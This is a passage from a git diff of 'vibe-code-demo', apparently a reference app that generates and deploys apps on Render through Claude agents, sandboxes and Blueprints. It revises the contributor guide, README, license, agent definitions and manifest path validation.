keep it unique and stable. Give it `tools` - only if it needs the sandbox, and `renderTools` only from - `RENDER_READ_ONLY_TOOLS`. +1. Add it to `app/agents.ts`. `id`, `model`, `prompt`, and + `timeoutSeconds` are required. `id` is also the registered task name, so + keep it unique and stable. Give it `tools` only if it needs the sandbox, + and `renderTools` only from `RENDER_READ_ONLY_TOOLS`. 2. Wrap it with `agentTask()` at the bottom of `app/agents.ts`, beside the other registrations. 3. Call it from the stage that needs it, in `app/workflow.ts` or a stage module such as `app/build.ts`, with `tasks.run(Task, input)`. - `tasks` is the `TaskContext` that Render Workflows gives to - `prompt-to-app`; pass it to the stage. A task - definition is not a function, so a direct call does not compile. Pass - `sandboxId: sandbox.id` and `workDir: appDir` only when it declares tools. - `runClaude()` refuses tools without both. -4. If it emits JSON, add a schema to `app/contracts.ts`, register it in - `OUTPUT_SCHEMAS`, and call it through `agentJson()`, which retries once and - then fails closed. + `tasks` is the `TaskContext` that Render Workflows passes to + `prompt-to-app`; pass it down to the stage. A task definition is not a + function, so calling it directly does not compile. Pass + `sandboxId: sandbox.id` and `workDir: appDir` only when the agent declares + tools; `runClaude()` refuses tools without both. +4. If it returns JSON, add a schema to `app/contracts.ts`, register it in + `OUTPUT_SCHEMAS`, and call the agent through `agentJson()`, which retries + once and then fails closed. 5. Update `tests/agents.test.ts` for tool access, and add the task name to `tests/host.test.ts` and `scripts/doctor.ts`. ## Add a Render primitive -1. Add the kind to `TIER_KINDS` in `app/contracts.ts`, and describe when to - choose it in the architect's prompt. -2. Give the builder a way to declare it in `manifestSchema`, since the - Blueprint is generated from the manifest rather than from the plan. +1. Add the kind to `TIER_KINDS` in `app/contracts.ts`, and describe in the + architect's prompt when to choose it. +2. Give the builder a way to declare it in `manifestSchema`. The Blueprint is + generated from the manifest, not from the plan. 3. Emit its resource block from `serviceBlocks()` or `databaseBlocks()` in `app/blueprint.ts`; `projectBlock()` places it in the app's project environment. Wire dependent env vars declaratively with `fromDatabase` or - `fromService` — never by reading a value back out of an API. A static site - is not on the private network, and a browser uses its values. Give it only - public values, such as `envVarKey: RENDER_EXTERNAL_HOSTNAME`. Never give it - `host`, `port`, or `hostport`. + `fromService`, never by reading a value back from an API. A static site is + not on the private network, and a browser uses its values, so give it only + public values such as `envVarKey: RENDER_EXTERNAL_HOSTNAME`, never `host`, + `port`, or `hostport`. 4. Extend `resourceNames()` so the new resource is namespaced by user and app - and cannot collide with another resource in the same workspace. -5. Give `verify()` in `app/verify.ts` a way to exercise it before the push. - A primitive nothing verifies is a primitive that fails in production. + and cannot collide with another resource in the workspace. +5. Give `verify()` in `app/verify.ts` a way to exercise it before the push. A + primitive nothing verifies is a primitive that fails in production. 6. Add assertions to `tests/blueprint.test.ts`. That suite is the contract for what gets deployed. 7. Make `deleteAppResources()` in `app/teardown.ts` list and delete it. A - resource that the teardown does not know stays in the app's project, and + resource the teardown does not know about stays in the app's project, and Render then refuses to delete the project. ## Change a template -`templates/fullstack` is a working three-tier app that a multi-service run -starts from. It exists for the contracts a prompt cannot reliably re-derive -every run — CORS, the API base URL built from the API's public hostname, -and an idempotent migrate-and-seed wired to `preDeployCommand`. +`templates/fullstack` is a working three-tier app that every run with a web +service starts from. It exists for the contracts a prompt cannot reliably +rediscover on every run: CORS, the API base URL built from the API's public +hostname, and an idempotent migrate-and-seed wired to `preDeployCommand`. -It lives here rather than in its own repository so it is version-locked to the -code that deploys it, and so CI builds it. If you change it: +It lives here, not in its own repository, so it stays version-locked to the +code that deploys it and CI builds it. If you change it: -1. Keep it building. `npm ci && npm run build` in both tiers is a CI job, and a - template nobody builds is one that quietly stops building. -2. Keep the seed non-empty and both SQL files idempotent. Verification fails a - run whose data endpoint returns no rows. +1. Keep it building. `npm ci && npm run build` in both halves is a CI job, and + a template nobody builds quietly stops building. +2. Keep the seed non-empty and both SQL files idempotent. Verification fails + a run whose data endpoint returns no rows. 3. Update `templateLines()` in `app/build.ts` if the manifest it implies - changes. `tests/templates.test.ts` pins the two together; that suite is what + changes. `tests/templates.test.ts` pins the two together, and is what catches the template and the prompt drifting apart. -4. Templates are text only. They are materialized as one self-extracting shell - script, so a binary file will not survive the trip. +4. Keep templates text-only. They are written into the sandbox as one + self-extracting shell script, so a binary file will not survive. ## Change the pipeline -`app/workflow.ts` holds the two narratives: `prompt-to-app` and `delete-app`. -Keep them readable — a stage reads as one call there, with its detail in the -module of the stage. Fetch large state inside the workflow rather than passing -it through dispatch, and keep repeated execution safe: a rerun of the same -prompt replaces the app directory with the files of the new build, on the -newest tip of the branch. - -Verification and the publish are subtasks of `prompt-to-app`, as the agents -are. `verify-app` gives its failures as a result, not as an error, and -`publish-app` gives the commit that it pushed, or null when no file changed. -Each one connects to the sandbox of the run by the `sandboxId` in its input, -and the parent terminates that sandbox. `publish-app` only reads the files of -the app from it. It clones, commits, and pushes in a sandbox of its own, and -terminates that sandbox itself. The last check of `verify-app` reads the files -as `publish-app` does, so the builder can fix what `publish-app` would refuse, -for example a symbolic link. - -Do not give a credential to a sandbox that an agent uses, and do not push -from one. An agent can leave a process that runs, or a changed `git`, for the +`app/workflow.ts` holds the two narratives, `prompt-to-app` and `delete-app`. +Keep them readable: a stage is one call there, with its detail in the stage +module. Fetch large state inside the workflow instead of passing it through a +task input, and keep repeated execution safe. A rerun that chooses an existing +app name replaces the app directory with the new build's files, on the newest +tip of the branch. + +Verification and publishing are subtasks of `prompt-to-app`, as the agents +are. `verify-app` returns its failures as a result, not an error. +`publish-app` returns a `PublishResult`: the commit it pushed (or `null` when +no file changed) and `changedServices`, the services that commit gives a new +deploy. Both connect to the run's +sandbox by the `sandboxId` in their input, and the parent terminates that +sandbox. `publish-app` only reads the app's files from it; it clones, +commits, and pushes in its own sandbox and terminates that sandbox +itself. The last check in `verify-app` reads the files the way `publish-app` +does, so the builder can fix anything `publish-app` would refuse, such as a +symbolic link. + +Never give a credential to a sandbox an agent uses, and never push from one. +An agent can leave a process running, or a modified `git`, waiting for the next command that has the token. Deployment progress distinguishes `waiting_for_services`, -`waiting_for_deploys`, and `smoke_testing`. Render reporting `live` is not -terminal: the public URL, data endpoint, and CORS checks must pass before the -run becomes `deployed`. Render can route a new hostname some minutes after its -first deploy is live, and until then the URL gives 404. So the first check of -each public URL waits `ROUTE_TIMEOUT_MS`, not the shorter `DATA_TIMEOUT_MS`. -The storefront check must also pass: the HTML of the storefront, or a script -that it loads, must contain the public hostname of the API. The API checks -cannot see the hostname that a browser uses. +`waiting_for_deploys`, and `smoke_testing`. Render reporting `live` is not the +end: the public URL, data endpoint, and CORS checks must pass before the run +becomes `deployed`. Render can take minutes to route a new hostname, and +returns 404 until then, so the first check of each public URL waits +`ROUTE_TIMEOUT_MS`, not the shorter `DATA_TIMEOUT_MS`. The storefront check +must also pass: the storefront's HTML, or a script it loads, must contain the +API's public hostname. The API checks cannot see the hostname a browser uses. Each stage in `RUN_STAGES` has an item in the stage list of -`public/index.html`, in the same order, with a tooltip that tells what the -stage does and where it runs. It also has a row in the stage table of -`public/table.html`, which tells the same, has a cell for the time of the -stage, and names the Dashboard links of the stage. `tests/gateway.test.ts` -checks both, so a new stage needs an item and a row. - -When a deploy fails, the deploy manager diagnoses it from the logs of that -deploy, which workflow code gives it. `fetchDeployLogs()` reads them in the -time range of the deploy, with no type filter. Thus it gets the build logs, -the output of the pre-deploy command, and the logs of the new instance, and -no line of an earlier deploy. Do not add a type filter. The logs API gives -the output of the pre-deploy command as `app` logs, not `build` logs, so a -`build` filter loses it. With no filter, the API gives both. Each round reads +`public/index.html`, in the same order, with a tooltip saying what the stage +does and where it runs. It also has a row in the stage table of +`public/table.html`, with the same description, a cell for its time, and its +Dashboard links. `tests/gateway.test.ts` checks both, so a new stage needs an +item and a row. + +### Deploy waits + +Right after a push, a service's newest deploy is still the one from before +the push. Render creates the new deploy only after the GitHub webhook and the +Blueprint sync. So every wait after a push names the deploy to ignore, through +the `after` option of `waitForDeploy()`: + +- **First push.** Before the push, `run()` calls `deploysBeforePublish()`, + which records the newest deploy of each of the app's services that already + exists. `publish-app` returns `changedServices`, from `servicesChangedBy()`: + the services whose directory holds a changed path, which matches each + service's `buildFilter`. `firstWaits()` passes each changed service's + recorded deploy as `after`. Without this, a rebuild of an existing app + would accept the old live deploy as the result of the new commit. A service + the commit did not change gets no new deploy, so its newest deploy is its + result. +- **Repair rounds.** A repair round waits only for the services that failed, + and passes each failed deploy as `after`. + +A push that starts no new deploy within `DEPLOY_TIMEOUT_MS` ends the run as +`deploy_failed`. Never send such a run to the smoke checks: Render keeps the +last live deploy of a failed service, so those checks could pass on old code. +Do not call `trigger_deploy` to start a deploy either; only a commit deploys. +`tests/workflow.test.ts` tests this loop. + +### Deploy repairs + +When a deploy fails, the deploy manager diagnoses it from that deploy's logs, +which workflow code gives it. `fetchDeployLogs()` reads them for the deploy's +time range with no type filter, so it gets the build logs, the pre-deploy +command's output, and the new instance's logs, and nothing from an earlier +deploy. Do not add a type filter: the logs API returns pre-deploy output as +`app` logs, not `build` logs, so a `build` filter loses it. Each round reads the deploy that failed in that round. Do not give an agent `list_logs` in -place of this read: an agent can read the logs of each service in the -workspace, and the factory cannot redact them first. - -A deploy repair ships through the same path as the first build. The repaired -manifest must pass `verify-app`. Then `publish-app` rewrites `factory.json` -and both Blueprints before the commit, because Render gets the manifest only -through these files. A repair can change commands, paths, and env wiring, but -not the list from `declaredResources()`. Render does not delete a resource that leaves the -Blueprint, it cannot change the runtime of a service, and the loop watches only -the services of the first push. For this reason, the workflow fails such a -repair and pushes nothing. - -Right after a push, the newest deploy of a service is still the deploy from -before the push. Render creates the new deploy only after the GitHub webhook -and the Blueprint sync. So a repair round waits only for the services that -failed, and gives each failed deploy to `waitForDeploy()` as `after`. A repair -that changes no files, or that starts no new deploy in `DEPLOY_TIMEOUT_MS`, -ends the run as `deploy_failed`. Do not send such a run to the smoke checks: -Render keeps the last live deploy of a failed service, so those checks can -pass on old code. Do not call `trigger_deploy` to start the deploy either; -only a commit deploys. `tests/workflow.test.ts` tests this loop. - -Each `factory.json` records its `resourcePrefix`, which is in the name of each -Render resource of the app. Read the prefix from the spec, not from -`factoryConfig`, so that a new default does not rename the resources of an -existing app. - -Helpers that outgrow the workflow file belong in a new `app/.ts`, not -in a subdirectory. +place of this read: it could read the logs of every service in the workspace, +and the factory could not redact them first. + +The workflow runs the deploy manager only after Render reported a failed +deploy, and the agent returns only a JSON list of `failures`. There is no +"healthy" answer: an empty list ends the run as `deploy_failed` in +`repairDeploys()`. Only Render's deploy status and the smoke checks decide +that an app works. + +A repair ships through the same path as the first build. The repaired +manifest must pass `verify-app`, and then `publish-app` rewrites +`factory.json` and both Blueprints before the commit, because Render gets the +manifest only through these files. A repair can change commands, paths, and +env wiring, but not the list from `declaredResources()`: Render does not +delete a resource that leaves the Blueprint, it cannot change a service's +runtime, and the loop watches only the services it already knows. So the +workflow fails such a repair and pushes nothing. A repair that changes no +files also ends the run as `deploy_failed`. + +### Resource names + +Each `factory.json` records its `resourcePrefix`, which is part of every +Render resource name of the app. Read the prefix from the spec, not from +`factoryConfig`, so that a new default never renames an existing app's +resources. ## Delete an app -A delete removes an app, not only a run: the runs of one app share its files -and its resources. `removeApp()` in `app/workflow.ts` runs one subtask for each -step, in this order. The steps are in `app/delete.ts`, and +A delete removes an app, not just a run, because the runs of one app share +its files and resources. `removeApp()` in `app/workflow.ts` runs one subtask +per step, in this order. The steps are in `app/delete.ts`, and `tests/workflow.test.ts` tests them: 1. `remove-app-from-blueprint`: write `deletedAt` into the app's - `factory.json`, regenerate the root Blueprint, which leaves the app out, - and push. Remove no source file yet: a commit that removes the files of a - service starts a build of it, and that build fails. -2. `wait-for-blueprint-syncs`: wait a minute for the push event of an earlier - push, and then until no sync of the Blueprint waits or runs. From the - commit of step 1 on, the file does not declare the app, and a sync - recreates only a declared resource. So only a sync of an earlier commit can + `factory.json`, regenerate the root Blueprint (which leaves the app out), + and push. Remove no source file yet: a commit that removes a service's + files starts a build of that service, and the build fails. +2. `wait-for-blueprint-syncs`: wait a minute for the push event of the + previous push, then until no sync of the Blueprint is pending or running. + From step 1's commit on, the file does not declare the app, and a sync + recreates only declared resources. So only a sync of an earlier commit can bring a deleted resource back. -3. `delete-app-resources`: delete the app's services, then its databases, then - its project. Its input is only the fields of the spec that name them. +3. `delete-app-resources`: delete the app's services, then its databases, + then its project. Its input is only the spec fields that name them. 4. `remove-app-files`: remove the app's directory and push. -Do not change this order. A resource that is deleted before step 1 comes back -on the next sync. The spec gives the names of the resources, so if step 4 comes -before step 3, a failed delete loses them. The files stay in the Git history. +Do not change this order. A resource deleted before step 1 comes back on the +next sync. The spec holds the resource names, so if step 4 ran before step 3, +a failed delete would lose them. The files stay in the Git history. -Do not wait for the resources to leave the list of resources of the Blueprint. -A push that only removes resources starts no sync, and Render keeps them in -that list. The first version of the delete waited for that, and it never -finished. +Do not wait for the resources to leave the Blueprint's resource list. A push +that only removes resources starts no sync, and Render keeps them in that +list, so such a wait never finishes. -The two steps that push each clone the apps repository in their own sandbox. -Their commits change only the app's directory and the root Blueprint, as the -commit of `publish-app` does. Keep task inputs and results small and -JSON-serializable: they go through Render, and the Dashboard shows them on the -run of each step. +The two pushing steps each clone the apps repository in their own sandbox. +Their commits change only the app's directory and the root Blueprint, like +`publish-app`'s commit. Keep task inputs and results small and +JSON-serializable: they go through Render, and the Dashboard shows them on +each step's run. -Each step writes one JSON line to its logs for each thing that it changes or -waits for: the commits, the syncs that are not finished, and each resource -that it deletes or keeps. These logs are the record of what the factory -deleted, so keep them when you change a step. +Each step logs one JSON line for each thing it changes or waits for: the +commits, the unfinished syncs, and each resource it deletes or keeps. These +logs are the record of what the factory deleted, so keep them when you change +a step. ## Checklist -1. Trust boundaries between gateway, workflow, and agents are preserved. No - credential goes into a sandbox that an agent uses, and each commit changes - only one app and the root Blueprint. -2. New agents are registered at the bottom of `app/agents.ts` and task names - match between definition, dispatch, `doctor`, and tests. -3. New external input is validated and task values stay JSON-serializable. +1. Trust boundaries between the gateway, the workflow, and the agents are + preserved, and the [Invariants](#invariants) still hold. No credential + goes into a sandbox an agent uses, and each commit changes only one app and + the root Blueprint. +2. New agents are registered at the bottom of `app/agents.ts`, and task names + match between the definition, the dispatch, `scripts/doctor.ts`, and the + tests. +3. New external input is validated, and task inputs and results stay + JSON-serializable. 4. Infrastructure is created through `app/blueprint.ts`, not an API call, and deleted only through `app/teardown.ts`. 5. Sandbox cleanup and repeated side effects are safe. -6. `.env.example`, `render.yaml`, `docs/README.md`, `README.md`, `AGENTS.md`, - and `scripts/doctor.ts` updated if configuration changed. -7. Browser UI changes preserve Basic Auth and never serialize secrets. -8. `npm run check` passes. +6. If configuration changed, `.env.example`, `render.yaml`, + `scripts/doctor.ts`, `README.md`, `docs/0_QUICKSTART.md`, and the + configuration reference in `docs/1_EXTENSION.md` are updated. +7. If behavior that the docs describe changed, `docs/2_ARCHITECTURE.md`, + `docs/3_TAKEAWAYS.md`, `docs/1_EXTENSION.md`, and + `docs/0_QUICKSTART.md` are updated, and this file's invariants still match + the code. +8. Browser UI changes preserve Basic Auth and never serialize secrets. +9. `npm run check` passes. diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..f9db842 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Render Services, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md index 563b98d..8e08fd4 100644 --- a/README.md +++ b/README.md @@ -1,66 +1,131 @@ # vibe-code-demo -A reference for taking a natural-language app idea through generation, -verification, and a real Render deployment. It demonstrates how Workflows, -Sandboxes, Blueprints, Postgres, and read-only Render MCP access fit together in -a production-shaped agent system. +vibe-code-demo turns a plain-English app idea into a live, verified +application on Render. You type "Build a website for a local barbershop", and a +few minutes later you have a public URL. When the idea needs saved data, you +also get an API and a Postgres database, all wired together and smoke-tested. + +It is a reference app: real, running TypeScript that shows how Render +Workflows, Sandboxes, Blueprints, Postgres, and the read-only Render MCP server +fit together in an agent product. [![Deploy to Render](https://render.com/images/deploy-to-render-button.svg)](https://render.com/deploy?repo=https://github.com/render-examples/vibe-code-demo) -## Architecture at a glance +Before you deploy, prepare: -``` -User → Gateway (web service) → Render Workflow → Sandbox - ↓ - Apps Repository (GitHub) - ↓ - Blueprint auto-sync → Deployed App -``` +- a Render workspace with Workflows and + [Sandboxes early access](https://render.com/docs/sandboxes); +- an empty GitHub repository for generated apps, with Render's GitHub app + installed on it; +- a GitHub App or fine-grained token with Contents: write on that repository; +- Anthropic and Render API keys, plus the Render workspace ID; and +- a lowercase UI username and a UI password of at least 16 characters. -| Component | Render primitive | What it does | -|---|---|---| -| **Gateway** | Web Service (Docker) | Authenticates users, records runs in Postgres, dispatches workflow tasks. Holds no model keys or repo credentials. | -| **Factory DB** | Managed Postgres | Stores run state, idempotency keys, progress, concurrency claims. Enables reconnecting clients and stale-run recovery. | -| **Orchestrator** | Render Workflow | Runs the three-agent pipeline: Architect → Builder → Deploy Manager, with photographs from Wikimedia Commons between the first two. Owns the Sandbox, model credentials, and GitHub push. | -| **Sandbox** | Render Sandbox | Isolated Linux environment where agents write code, install deps, run builds, boot services, and query a real Postgres — all throwaway. | -| **Apps Repository** | GitHub repo | Every generated app is committed here. The root `render.yaml` is the Blueprint Render watches. | -| **Generated App** | Static Site + Web Service + Postgres | The actual app that gets deployed. Blueprint sync creates these from the committed YAML, in one Render project per app. | +After the factory deploys, complete the +[one-time apps Blueprint step](docs/0_QUICKSTART.md#connect-the-apps-blueprint). -## How the Render products come together +## Why it matters -1. **Web Services** — The gateway is a web service (Hono + Docker). Each generated app's API is also a web service, with health checks, `preDeployCommand` for migrations, and `fromDatabase` / `fromService` env-var wiring. +Most "prompt to app" demos stop at generated code or a preview. Shipping +that code as a real multi-service deployment raises harder questions: -2. **Workflows** — The orchestration engine. One task (`prompt-to-app`) runs the entire pipeline: design, build, verify, publish, deploy, smoke-test. Sub-tasks (`architect`, `builder`, `deploy-manager`) run as Claude agents with distinct tool grants and trust boundaries. Two more sub-tasks are workflow code: `verify-app` builds, migrates, boots, and queries the app in the sandbox, and `publish-app` generates the Blueprints, commits the app to GitHub, and pushes. A second task, `delete-app`, deletes an app in four sub-tasks, each with its own run and logs: `remove-app-from-blueprint` takes the app out of the Blueprint, `wait-for-blueprint-syncs` waits until no Blueprint sync can bring its Render resources back, `delete-app-resources` deletes them, and `remove-app-files` removes its files. +- Where does untrusted, model-written code run, and what can it reach? +- How do you keep the model away from your GitHub token and cloud API keys? +- How does an agent create infrastructure without being able to create + *anything*? +- How do you know the deployed app works, not just that it built? -3. **Sandboxes** — Every run gets a fresh, isolated Linux sandbox. Agents execute code inside it, never on the host. It holds only the app of the run, with no clone of the apps repository and no GitHub token; each push clones the repository in a sandbox of its own. Postgres 18 is installed on the fly inside the sandbox so the builder develops against a real database. The sandbox is terminated in a `finally` block. +This repository answers each of those in code. Agents write and run code only +in a disposable Render Sandbox that holds no credentials. Infrastructure is +created only by committing a Render Blueprint, never by an agent calling an +API. Every app is built, migrated, booted, and queried before it is published, +and checked again at its public URL after Render deploys it. -4. **Postgres** — Two roles: (a) the factory's own `runs` table for durable state, and (b) a sandbox-local Postgres the generated app builds against. Generated apps also get their own Managed Postgres on Render. +It is written for engineers building AI app builders, coding agents, or +internal platforms on Render, and for anyone who wants a working example of +those boundaries to read and adapt. It is a demonstration, not a multi-tenant +product: see [Current limitations](docs/0_QUICKSTART.md#current-limitations). -5. **Blueprints** — The only way the factory creates resources on Render. Agents never call the Render API. A Blueprint change never deletes a resource, so the `delete-app` task deletes a deleted app's resources with the API, after the app has left the Blueprint. The workflow writes `render.yaml`, commits to GitHub, and Render's Blueprint sync deploys everything. Every deployment is a Git diff. +## Architecture at a glance -6. **MCP** — Read-only Render MCP gives the Architect agent visibility into the workspace (existing services, databases) and gives the Deploy Manager deploy status to diagnose failures. No agent can read logs: the workflow reads the logs of each failed deploy from the Render REST API, removes their secrets, and gives them to the Deploy Manager. Strictly read-only — enforced by allowlist and `PreToolUse` hook. +```text + User ──▶ Gateway ───────────▶ Workflows: prompt-to-app ─────▶ Sandbox + (web service) agents, verify, publish (build and verify) + │ │ │ + └──▶ Factory DB ◀────┘ ▼ + (Postgres) Apps repository (GitHub) + │ Blueprint auto-sync + ▼ + Deployed app (site, API, Postgres) +``` + +| Component | Render primitive | Role | +| --- | --- | --- | +| Gateway | Web service (Docker) | Authenticates callers, records runs, and starts tasks. It has no model key or GitHub credential, but it does hold the Render API key used for task dispatch. | +| Factory DB | Managed Postgres | Run state, progress, idempotency, concurrency cap | +| Workflows host | Workflow | Runs the agents, verification, publish, and deploy checks. Holds the model key and GitHub credential. | +| Sandbox | Sandbox | Disposable machine where the builder writes and runs code | +| Apps repository | GitHub repo | Every generated app, plus the root `render.yaml` Render watches | +| Generated app | Static site, web service, Postgres | One Render project per app, created by Blueprint sync | + +## How the Render products fit together + +- **Web Services** host the gateway and each generated app's API, with + health checks and `preDeployCommand` migrations. +- **Workflows** run the pipeline as a `prompt-to-app` task whose agents and + steps are subtasks, each with its own run and logs in the Dashboard. +- **Sandboxes** give each run an isolated machine, with a real Postgres when + the app needs one, and no credentials. +- **Postgres** stores the factory's run state, and gives each generated app + its own managed database. +- **Blueprints** are the only way the factory creates infrastructure: the + workflow commits a `render.yaml`, and Render's Blueprint sync deploys it. +- **Render MCP** gives two agents read-only views of the workspace, enforced + by an allowlist in code. + +## Prerequisites + +- Node.js 22 or later, and Docker (for the local Postgres) +- The [Render CLI](https://render.com/docs/cli), signed in with `render login` +- A Render workspace with Workflows and Sandboxes enabled, a Render API key, + and the workspace ID (it starts with `tea-`) +- An Anthropic API key +- An empty GitHub repository for generated apps +- A GitHub connection in Render with access to that repository, so its + Blueprint can sync +- A credential that can push to the repository: a fine-grained personal + access token or a GitHub App, with Contents: write on that repository ## Quick start -```bash -npm ci -cp .env.example .env # then fill it in -npm run dev:postgres -npm run db:migrate -``` +The [Quickstart](docs/0_QUICKSTART.md) is the canonical setup guide. It covers +installation, local processes, the first app, the one-time apps Blueprint, +deployment, diagnostics, operations, and cleanup. -In separate terminals: +Local development still creates real Render Sandboxes and deploys real, +billable services. -```bash -npm run dev:gateway # http://localhost:3000 -npm run dev:workflows # needs the authenticated Render CLI -``` +## Deploy the factory to Render + +Click **Deploy to Render** above, or create a Blueprint from this repository's +`render.yaml`. It creates the gateway, the workflow service, and their database +in a `vibe-factory` project, and prompts you for the secrets. If you deploy +from a fork, first change the `repo:` field of the workflow service in +`render.yaml` to your fork's URL. [docs/0_QUICKSTART.md](docs/0_QUICKSTART.md#deploy-the-factory-to-render) +has the full steps. + +## Documentation -Open `http://localhost:3000` and sign in with `UI_USERNAME` and `UI_PASSWORD`. -Or run `npm run demo -- "Your app idea"` against the gateway. +- [Quickstart](docs/0_QUICKSTART.md): setup, first run, deploying the factory, + diagnostics, operations, and cleanup +- [Extension guide](docs/1_EXTENSION.md): factory settings, agents, tools, + infrastructure primitives, templates, and pipeline changes +- [Architecture](docs/2_ARCHITECTURE.md): directory overview, execution paths, + core interfaces, trust boundaries, state, and tests +- [Takeaways](docs/3_TAKEAWAYS.md): lessons to apply in your own agent system -Full prerequisites, production deployment, and configuration are in -[docs/](docs/README.md). Agent and code conventions live in [AGENTS.md](AGENTS.md). +Contributor and coding-agent conventions, invariants, and change checklists +are in [AGENTS.md](AGENTS.md). ## License diff --git a/app/agents.ts b/app/agents.ts index e7d055e..8606f0d 100644 --- a/app/agents.ts +++ b/app/agents.ts @@ -19,7 +19,8 @@ export const architect: Agent = { // tools are read-only views of the Render workspace it designs for. renderTools: RENDER_READ_ONLY_TOOLS, maxTurns: 12, - plan: "standard", + timeoutSeconds: 15 * 60, + plan: "flex", prompt: md` You are the architect. You receive one product prompt — the kind a customer types into a vibe-coding box — and you decide what to build and @@ -92,7 +93,8 @@ export const builder: Agent = { effort: "low", tools: sandboxTools, maxTurns: 80, - plan: "standard", + timeoutSeconds: 60 * 60, + plan: "flex", prompt: md` You are the builder. You receive a product prompt, an approved infrastructure plan, and an empty app directory inside a sandbox. @@ -201,7 +203,8 @@ export const deployManager: Agent = { effort: "low", renderTools: RENDER_READ_ONLY_TOOLS, maxTurns: 20, - plan: "standard", + timeoutSeconds: 15 * 60, + plan: "flex", prompt: md` You are the deploy manager. You diagnose Render deploys that failed. @@ -216,9 +219,8 @@ export const deployManager: Agent = { builder what to fix. Be specific: quote the exact error from the logs. If the logs do not show the cause, say so. - Respond ONLY with JSON: + Respond ONLY with JSON, with one entry for each service that failed: { - "allHealthy": false, "failures": [ { "serviceName": "the service that failed", @@ -228,9 +230,6 @@ export const deployManager: Agent = { } ] } - - If all services are healthy, respond with: - { "allHealthy": true, "failures": [] } `, }; @@ -260,7 +259,14 @@ const OUTPUT_SCHEMAS: Record> = { */ export function agentTask(agent: Agent) { return task( - { name: agent.id, plan: agent.plan }, + { + name: agent.id, + plan: agent.plan, + timeoutSeconds: agent.timeoutSeconds, + // A timeout or model failure should return to the parent once. Repeating + // an expensive agent task can repeat shell commands and hold a run slot. + retry: { maxRetries: 0, waitDurationMs: 0 }, + }, async function runAgent( _tasks: TaskContext, input: AgentTaskInput, diff --git a/app/blueprint.ts b/app/blueprint.ts index c557b9e..00de555 100644 --- a/app/blueprint.ts +++ b/app/blueprint.ts @@ -287,7 +287,6 @@ function singleServiceBlock( ` - ${yamlString(`${serviceDir}/**`)}`, ); - // Wire env vars declared by the manifest. const envLines: string[] = []; for (const envVar of service.envVars ?? []) { if (envVar.fromDatabase) { diff --git a/app/claude.ts b/app/claude.ts index e257342..43f604a 100644 --- a/app/claude.ts +++ b/app/claude.ts @@ -46,6 +46,8 @@ export interface Agent { */ readonly renderTools?: readonly string[]; readonly maxTurns?: number; + /** Hard deadline of the Render Workflows task that runs this agent. */ + readonly timeoutSeconds: number; /** Render Workflows instance plan. */ readonly plan?: string; } diff --git a/app/contracts.ts b/app/contracts.ts index e97d136..5701ccd 100644 --- a/app/contracts.ts +++ b/app/contracts.ts @@ -93,6 +93,33 @@ export type DeployPlan = z.infer; /* ── Service manifest ──────────────────────────────────────────────────── */ +const relativePath = z + .string() + .min(1) + .max(120) + .regex( + /^[A-Za-z0-9._/-]+$/, + "must contain only letters, numbers, dots, underscores, hyphens, and slashes", + ) + .refine((path) => !/[\r\n]/.test(path), "must stay on one line") + .refine( + (path) => + path === "." || + (!path.startsWith("/") && + path + .split("/") + .every( + (segment) => segment !== "" && segment !== "." && segment !== "..", + )), + "must be a plain relative path with no . or .. segments", + ); + +const endpointPath = z + .string() + .max(120) + .regex(/^\/[\w./-]*$/, "must be an absolute URL path") + .refine((path) => !/[\r\n]/.test(path), "must stay on one line"); + /** * The builder declares what it built. Each service becomes a Blueprint entry * and drives the verification the workflow runs before pushing. @@ -101,7 +128,7 @@ export const serviceSchema = z.object({ name: z.string().min(1).max(60), kind: z.enum(["static_site", "web_service"]), /** Directory relative to the app root, e.g. "web" or "api". */ - rootDir: z.string().min(1).max(120), + rootDir: relativePath, runtime: z.enum(["node", "static"]).default("node"), buildCommand: z.string().min(1).max(500), startCommand: z.string().max(500).optional(), @@ -112,14 +139,14 @@ export const serviceSchema = z.object({ * on every deploy, including redeploys of an unchanged commit. */ preDeployCommand: z.string().max(500).optional(), - staticPublishPath: z.string().max(120).optional(), - healthCheckPath: z.string().max(120).optional(), + staticPublishPath: relativePath.optional(), + healthCheckPath: endpointPath.optional(), /** * An endpoint that reads the database. `healthCheckPath` deliberately does * not, so without this nothing — locally or in production — ever proves the * schema was applied, the seed loaded, or `DATABASE_URL` was wired. */ - dataCheckPath: z.string().max(120).optional(), + dataCheckPath: endpointPath.optional(), envVars: z .array( z.object({ @@ -181,8 +208,11 @@ export const deployFailureSchema = z.object({ logs: z.string().max(8000).optional(), }); +/** + * The workflow runs the deploy manager only when Render reported a failed + * deploy, so the diagnosis cannot declare the services healthy. + */ export const deployDiagnosisSchema = z.object({ - allHealthy: z.boolean(), failures: z.array(deployFailureSchema).max(10), }); diff --git a/app/delete.ts b/app/delete.ts index 4ed2a63..acfc9c7 100644 --- a/app/delete.ts +++ b/app/delete.ts @@ -41,7 +41,7 @@ const SYNC_TIMEOUT_MS = 6 * 60 * 1000; * more time than SYNC_TIMEOUT_MS. */ const DELETE_STEP = { - plan: "starter", + plan: "flex", timeoutSeconds: DELETE_STEP_TIMEOUT_SECONDS, retry: { maxRetries: 0, waitDurationMs: 0 }, }; diff --git a/app/deploy.ts b/app/deploy.ts index 3f59c3b..fbea9c8 100644 --- a/app/deploy.ts +++ b/app/deploy.ts @@ -5,7 +5,11 @@ import type { TaskContext } from "@renderinc/sdk/workflows"; import { factoryConfig } from "../factory.config.js"; import { deployManagerTask } from "./agents.js"; -import { declaredResources, 